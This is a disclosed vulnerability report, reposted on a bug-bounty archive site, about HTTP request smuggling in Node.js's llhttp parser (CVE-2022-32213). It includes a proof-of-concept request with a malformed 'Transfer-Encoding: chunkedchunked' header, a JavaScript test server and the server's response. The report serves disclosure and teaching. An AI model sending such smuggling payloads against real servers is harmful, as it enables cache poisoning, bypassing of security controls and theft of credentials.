Skip to content
Smuggling / CRLF Disclosed report Advanced CVE-2022-32213

HTTP Request Smuggling Due to Flawed Parsing of Transfer-Encoding

The llhttp parser in Node.js incorrectly accepts a Transfer-Encoding header value of 'chunkedchunked' as valid chunked encoding, treating it as 'chunked'. An attacker could exploit this discrepancy to perform HTTP request smuggling, potentially leading to cache poisoning, bypassing security controls, or credential theft.

zeyu2001 Follow

Originally disclosed on HackerOne

Medium 6.5 View original
  • Triaged in 3 days
  • Fixed in 3 months
  • Disclosed after 3 months

Summary:

The llhttp parser in the http module in Node v17.8.0 does not correctly parse and validate Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).

Description:

After #1501679, I did a bit more digging into the issue, and found that there were more flaws in the parsing of Transfer-Encoding headers. Relevant code here.

After matching "chunked", the parser attempts to match the CRLF sequence, failing which it matches chunked again. As a result, the following forms a valid request for the parser, despite the Transfer-Encoding value, chunkedchunked, being invalid.

HTTP
GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunkedchunked

1
a
0

Node will process the Transfer-Encoding value as chunked, only seeing the last-match of the string "chunked".

Steps To Reproduce:

Server code I used for testing:

JavaScript
const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
   response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();
   
   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);

Request:

HTTP
GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunkedchunked

1
a
0


Response:

HTTP
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:02:31 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 92

{"Headers":{"host":"localhost","transfer-encoding":"chunkedchunked"},"Length":1,"Body":"a"}

Supporting Material/References:

Payloads and outputs:

ss3.png
ss3.png From the original on HackerOne

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

The original report as published on HackerOne, by zeyu2001. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The parser's logic for matching the 'chunked' token in Transfer-Encoding allows repeated matches without proper validation, so an invalid value like 'chunkedchunked' is accepted as 'chunked'.

Impact

Depending on the application, this could lead to cache poisoning, bypassing security layers, or stealing credentials.

What the attacker needed

Node.js v17.8.0 (or similar)

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTTP request smuggling is a technique where an attacker sends a specially crafted request that is interpreted differently by two servers (like a front-end proxy and a back-end server). This can let the attacker sneak in a second request that the front-end doesn't see, potentially poisoning caches or stealing data. Here, Node.js's parser wrongly accepted a malformed header, which could enable such attacks.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by zeyu2001

View all

8 more disclosed reports, best first.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.